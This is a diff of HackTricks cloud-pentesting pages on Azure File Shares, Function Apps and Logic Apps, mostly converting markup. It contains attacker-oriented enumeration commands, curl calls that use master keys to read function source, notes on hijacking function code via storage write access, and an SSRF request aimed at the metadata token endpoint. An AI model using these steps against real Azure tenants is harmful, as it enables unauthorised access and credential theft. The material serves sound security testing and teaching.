-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -21,32 +8,31 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 ### Access Tiers
 
-* **Transaction Optimized**: Optimized for transaction-heavy operations.
-* **Hot**: Balanced between transactions and storage.
-* **Cool**: Cost-effective for storage.
-* **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
+- **Transaction Optimized**: Optimized for transaction-heavy operations.
+- **Hot**: Balanced between transactions and storage.
+- **Cool**: Cost-effective for storage.
+- **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
 
 ### Backups
 
-* **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
-* **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
-* **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
-* **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
-* It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
+- **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
+- **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
+- **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
+- **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
+- It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
 
 ### Supported Authentications via SMB
 
-* **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
-* **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
-* **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
-* **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
+- **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
+- **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
+- **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
+- **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
 
 ## Enumeration
 
+{{#tabs}}
+{{#tab name="az cli"}}
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
 ```bash
 # Get storage accounts
 az storage account list #Get the account name from here
@@ -68,11 +54,11 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
 # Download snapshot/backup
 az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+
+{{#tab name="Az PowerShell"}}
+
 ```powershell
 Get-AzStorageAccount
 
@@ -93,18 +79,16 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
 Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
 
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
 
-{% hint style="info" %}
-By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
-{% endhint %}
+{{#endtab}}
+{{#endtabs}}
 
-{% hint style="success" %}
-Use the param `--account-key` to indicate the account key to use\
-Use the param `--sas-token` with the SAS token to access via a SAS token
-{% endhint %}
+> [!NOTE]
+> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
+
+> [!TIP]
+> Use the param `--account-key` to indicate the account key to use\
+> Use the param `--sas-token` with the SAS token to access via a SAS token
 
 ### Connection
 
@@ -112,9 +96,9 @@ These are the scripts proposed by Azure at the time of the writing to connect a
 
 You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAME>` placeholders.
 
-{% tabs %}
-{% tab title="Windows" %}
-{% code overflow="wrap" %}
+{{#tabs}}
+{{#tab name="Windows"}}
+
 ```powershell
 $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
 if ($connectTestResult.TcpTestSucceeded) {
@@ -126,11 +110,11 @@ if ($connectTestResult.TcpTestSucceeded) {
     Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
 }
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Linux" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+
+{{#tab name="Linux"}}
+
 ```bash
 sudo mkdir /mnt/disk-shareeifrube
 if [ ! -d "/etc/smbcredentials" ]; then
@@ -145,57 +129,44 @@ sudo chmod 600 /etc/smbcredentials/<STORAGE-ACCOUNT>.cred
 sudo bash -c 'echo "//<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> cifs nofail,credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30" >> /etc/fstab'
 sudo mount -t cifs //<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> -o credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="macOS" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+
+{{#tab name="macOS"}}
+
 ```bash
 open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab}}
+{{#endtabs}}
 
 ### Regular storage enumeration (access keys, SAS...)
 
-{% content-ref url="az-storage.md" %}
-[az-storage.md](az-storage.md)
-{% endcontent-ref %}
+{{#ref}}
+az-storage.md
+{{#endref}}
 
 ## Privilege Escalation
 
 Same as storage privesc:
 
-{% content-ref url="../az-privilege-escalation/az-storage-privesc.md" %}
-[az-storage-privesc.md](../az-privilege-escalation/az-storage-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-storage-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../az-post-exploitation/az-file-share-post-exploitation.md" %}
-[az-file-share-post-exploitation.md](../az-post-exploitation/az-file-share-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-post-exploitation/az-file-share-post-exploitation.md
+{{#endref}}
 
 ## Persistence
 
 Same as storage persistence:
 
-{% content-ref url="../az-persistence/az-storage-persistence.md" %}
-[az-storage-persistence.md](../az-persistence/az-storage-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-persistence/az-storage-persistence.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
similarity index 66%
rename from pentesting-cloud/azure-security/az-services/az-function-apps.md
rename to src/pentesting-cloud/azure-security/az-services/az-function-apps.md
index a446ab37d..782dc2d1c 100644
--- a/pentesting-cloud/azure-security/az-services/az-function-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
@@ -1,35 +1,21 @@
 # Az - Function Apps
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 **Azure Function Apps** are a **serverless compute service** that allow you to run small pieces of code, called **functions**, without managing the underlying infrastructure. They are designed to execute code in response to various triggers, such as **HTTP requests, timers, or events from other Azure services** like Blob Storage or Event Hubs. Function Apps support multiple programming languages, including C#, Python, JavaScript, and Java, making them versatile for building **event-driven applications**, automating workflows, or integrating services. They are cost-effective, as you usually only pay for the compute time used when your code runs.
 
-{% hint style="info" %}
-Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
-{% endhint %}
+> [!NOTE]
+> Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
 
 ### Different Plans
 
-* **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that don’t require container support.
-* **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
-* **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
-* **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
-* **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
+- **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that don’t require container support.
+- **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
+- **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
+- **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
+- **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
 
 ### **Storage Buckets**
 
@@ -37,11 +23,10 @@ When creating a new Function App not containerised (but giving the code to run),
 
 Moreover, modifying the code inside the bucket (in the different formats it could be stored), the **code of the app will be modified to the new one and executed** next time the Function is called.
 
-{% hint style="danger" %}
-This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
-
-More on this in the **privilege escalation section**.
-{% endhint %}
+> [!CAUTION]
+> This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
+>
+> More on this in the **privilege escalation section**.
 
 It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
 
@@ -51,12 +36,11 @@ Note that Functions also allow to store the code in a remote location just indic
 
 Using a HTTP trigger:
 
-* It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although it’s also possible to restrict this access.
-* It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
+- It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although it’s also possible to restrict this access.
+- It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
 
-{% hint style="danger" %}
-This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
-{% endhint %}
+> [!CAUTION]
+> This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
 
 ### **Function App Settings & Environment Variables**
 
@@ -76,11 +60,10 @@ Just like [**VMs**](vms/), Functions can have **Managed Identities** of 2 types:
 
 The **system assigned** one will be a managed identity that **only the function** that has it assigned would be able to use, while the **user assigned** managed identities are managed identities that **any other Azure service will be able to use**.
 
-{% hint style="info" %}
-Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
-
-If a no system managed identity is used but one or more user managed identities are attached to a function, by default you won’t be able to get any token.
-{% endhint %}
+> [!NOTE]
+> Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
+>
+> If a no system managed identity is used but one or more user managed identities are attached to a function, by default you won’t be able to get any token.
 
 It's possible to use the [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) to get tokens from the default managed identity from the metadata endpoint. Or you could get them **manually** as explained in:
 
@@ -90,36 +73,34 @@ Note that you need to find out a way to **check all the Managed Identities a fun
 
 ## Access Keys
 
-{% hint style="info" %}
-Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
-{% endhint %}
+> [!NOTE]
+> Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
 
 When creating an endpoint inside a function using a **HTTP trigger** it's possible to indicate the **access key authorization level** needed to trigger the function. Three options are available:
 
-* **ANONYMOUS**: **Everyone** can access the function by the URL.
-* **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
-* **ADMIN**: Endpoint is only accessible to users a **master key**.
+- **ANONYMOUS**: **Everyone** can access the function by the URL.
+- **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
+- **ADMIN**: Endpoint is only accessible to users a **master key**.
 
 **Type of keys:**
 
-* **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
-* **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
-* **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
-* **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
+- **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
+- **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
+- **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
+- **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
 
-{% hint style="success" %}
-Example to access a function API endpoint using a key:
-
-`https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
-{% endhint %}
+> [!TIP]
+> Example to access a function API endpoint using a key:
+>
+> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
 
 ### Basic Authentication
 
 Just like in App Services, Functions also support basic authentication to connect to **SCM** and **FTP** to deploy code using a **username and password in a URL** provided by Azure. More information about it in:
 
-{% content-ref url="az-app-services.md" %}
-[az-app-services.md](az-app-services.md)
-{% endcontent-ref %}
+{{#ref}}
+az-app-service.md
+{{#endref}}
 
 ### Github Based Deployments
 
@@ -143,8 +124,8 @@ on:
   workflow_dispatch:
 
 env:
-  AZURE_FUNCTIONAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root
-  PYTHON_VERSION: '3.11' # set this to the python version to use (supports 3.6, 3.7, 3.8)
+  AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
+  PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
 
 jobs:
   build:
@@ -182,7 +163,7 @@ jobs:
   deploy:
     runs-on: ubuntu-latest
     needs: build
-    
+
     permissions:
       id-token: write #This is required for requesting the JWT
 
@@ -193,8 +174,8 @@ jobs:
           name: python-app
 
       - name: Unzip artifact for deployment
-        run: unzip release.zip     
-        
+        run: unzip release.zip
+
       - name: Login to Azure
         uses: azure/login@v2
         with:
@@ -202,33 +183,30 @@ jobs:
           tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
           subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
 
-      - name: 'Deploy to Azure Functions'
+      - name: "Deploy to Azure Functions"
         uses: Azure/functions-action@v1
         id: deploy-to-function
         with:
-          app-name: 'funcGithub'
-          slot-name: 'Production'
+          app-name: "funcGithub"
+          slot-name: "Production"
           package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
-          
 ```
 
 </details>
 
 Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
 
-{% hint style="danger" %}
-Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
-{% endhint %}
+> [!CAUTION]
+> Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
 
 ### Container Based Deployments
 
-Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API  the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
+Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
 
 Moreover, **no source code will be stored in the storage** account related to the function as it's not needed.
 
 ## Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # List all the functions
 az functionapp list
@@ -249,7 +227,7 @@ az functionapp deployment source show \
 az functionapp config container show \
   --name <name> \
   --resource-group <res-group>
-  
+
 # Get settings (and privesc to the sorage account)
 az functionapp config appsettings list --name <app-name> --resource-group <res-group>
 
@@ -270,33 +248,19 @@ az rest --method GET \
 curl "<script_href>?code=<master-key>"
 ## Python example
 curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
-  
+
 # Get source code
 az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
 ```
-{% endcode %}
 
 ## Privilege Escalation
 
-{% content-ref url="../az-privilege-escalation/az-functions-app-privesc.md" %}
-[az-functions-app-privesc.md](../az-privilege-escalation/az-functions-app-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-privilege-escalation/az-functions-app-privesc.md
+{{#endref}}
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
+- [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
similarity index 52%
rename from pentesting-cloud/azure-security/az-services/az-logic-apps.md
rename to src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
index 051da854b..e97474bec 100644
--- a/pentesting-cloud/azure-security/az-services/az-logic-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
@@ -1,19 +1,6 @@
 # Az - Logic Apps
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -23,14 +10,14 @@ Logic Apps provides a visual designer to create workflows with a **wide range of
 
 ### Examples
 
-* **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
-* **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
+- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
+- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
 
 ### Visualize a LogicAPP
 
 It's possible to view a LogicApp with graphics:
 
-<figure><img src="../../../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
 
 or to check the code in the "**Logic app code view**" section.
 
@@ -40,18 +27,16 @@ Even if you find the **Logic App vulnerable to SSRF**, you won't be able to acce
 
 For example, something like this won't return the token:
 
-{% code overflow="wrap" %}
 ```bash
 # The URL belongs to a Logic App vulenrable to SSRF
 curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
 ```
-{% endcode %}
 
 ### Enumeration
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="az cli" }}
+
 ```bash
 # List
 az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
@@ -62,11 +47,11 @@ az logic workflow definition show --name <LogicAppName> --resource-group <Resour
 # Get service ppal used
 az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Az PowerSHell" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Az PowerSHell" }}
+
 ```powershell
 # List
 Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
@@ -77,21 +62,8 @@ Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
 # Get service ppal used
 (Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
